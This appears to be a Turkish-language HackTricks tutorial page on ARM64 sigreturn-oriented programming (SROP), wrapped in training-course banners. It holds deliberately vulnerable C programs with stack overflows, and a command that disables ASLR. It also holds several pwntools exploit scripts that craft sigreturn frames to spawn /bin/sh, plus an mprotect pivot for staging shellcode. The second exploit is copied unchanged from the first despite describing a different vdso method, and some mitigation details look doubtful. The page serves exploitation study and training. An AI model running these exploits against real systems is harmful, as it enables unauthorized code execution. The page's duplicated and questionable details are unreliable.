> [!TIP]

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Reading time: 7 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Pwntools örneği

Bu örnek, savunmasız ikili dosyayı oluşturmakta ve bunu istismar etmektedir. İkili dosya yığına okuma yapar ve ardından sigreturn çağrısı yapar:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

bof örneği

Kod

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

Bunu ile derleyin:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

Sömürü, sigreturn çağrısına geri dönmek ve yığını execve çağrısı için /bin/sh'ye bir işaretçi ile hazırlamak için bof'u kullanır.

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bof örneği sigreturn olmadan

Kod

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

vdso bölümünde sigreturn çağrısının 0x7b0 ofsetinde bulunması mümkündür:

Bu nedenle, eğer sızdırılırsa, eğer ikili dosya bunu yüklemiyorsa, sigreturn erişmek için bu adresi kullanmak mümkündür:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Daha fazla bilgi için vdso'ya bakın:

Ret2vDSO

Ve /bin/sh adresini atlamak için, ona işaret eden birkaç ortam değişkeni oluşturabilirsiniz, daha fazla bilgi için:

ASLR


sigreturn gadget'larını otomatik olarak bulma (2023-2025)

Modern dağıtımlarda sigreturn trampolini hala vDSO sayfası tarafından dışa aktarılmaktadır, ancak tam ofset çekirdek sürümleri ve BTI (+branch-protection) veya PAC gibi derleme bayraklarına göre değişiklik gösterebilir. Keşfini otomatikleştirmek, ofsetleri sabit kodlamayı önler:

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

Her iki araç da AArch64 kodlamalarını anlar ve SROP gadget olarak kullanılabilecek mov x8, 0x8b ; svc #0 dizilerini listeleyecektir.

Not: Binaries BTI ile derlendiğinde, her geçerli dolaylı dal hedefinin ilk talimatı bti c olur. Bağlayıcı tarafından yerleştirilen sigreturn trampolinleri zaten doğru BTI iniş padini içerdiğinden, gadget yetkisiz koddan kullanılabilir durumda kalır.

SROP'u ROP ile Zincirleme (pivot mprotect aracılığıyla)

rt_sigreturn bize tüm genel amaçlı kayıtları ve pstate'i kontrol etme imkanı verir. x86'da yaygın bir desen: 1) mprotect çağrısı için SROP kullanmak, 2) shell-code içeren yeni bir çalıştırılabilir yığına geçiş yapmak. Aynı fikir ARM64'te de çalışır:

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

After sending the frame you can send a second stage containing raw shell-code at 0x400000+0x100. Because AArch64 uses PC-relative addressing this is often more convenient than building large ROP chains.

Kernel validation, PAC & Shadow-Stacks

Linux 5.16, kullanıcı alanı sinyal çerçevelerinin daha sıkı bir şekilde doğrulanmasını tanıttı (commit 36f5a6c73096). Kernel artık şunları kontrol eder:

  • uc_flags, extra_context mevcut olduğunda UC_FP_XSTATE içermelidir.
  • struct rt_sigframe içindeki ayrılmış kelime sıfır olmalıdır.
  • extra_context kaydındaki her işaretçi hizalanmış olmalı ve kullanıcı adres alanı içinde bir yere işaret etmelidir.

pwntools>=4.10, uyumlu çerçeveleri otomatik olarak oluşturur, ancak bunları manuel olarak oluşturursanız, reserved'ı sıfırla başlatmayı ve gerçekten ihtiyaç duymadıkça SVE kaydını atlamayı unutmayın—aksi takdirde rt_sigreturn, döndürmek yerine SIGSEGV ile sonuçlanır.

Ana akım Android 14 ve Fedora 38 ile başlayarak, kullanıcı alanı varsayılan olarak PAC (Pointer Authentication) ve BTI etkin olarak derlenir (-mbranch-protection=standard). SROP kendisi etkilenmez çünkü kernel, yığın üzerinde kaydedilen kimlik doğrulamalı LR'yi atlayarak, oluşturulan çerçeveden doğrudan PC'yi yazar; ancak, dolaylı dallanmalar gerçekleştiren herhangi bir sonraki ROP zinciri, BTI etkin talimatlara veya PAC'li adreslere atlamak zorundadır. Gadget'ları seçerken bunu aklınızda bulundurun.

ARMv8.9'da tanıtılan Shadow-Call-Stacks (ve zaten ChromeOS 1.27+ üzerinde etkin) bir derleyici düzeyinde hafifletme yöntemidir ve SROP ile çelişmez çünkü hiçbir dönüş talimatı yürütülmez—kontrol akışı kernel tarafından aktarılır.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin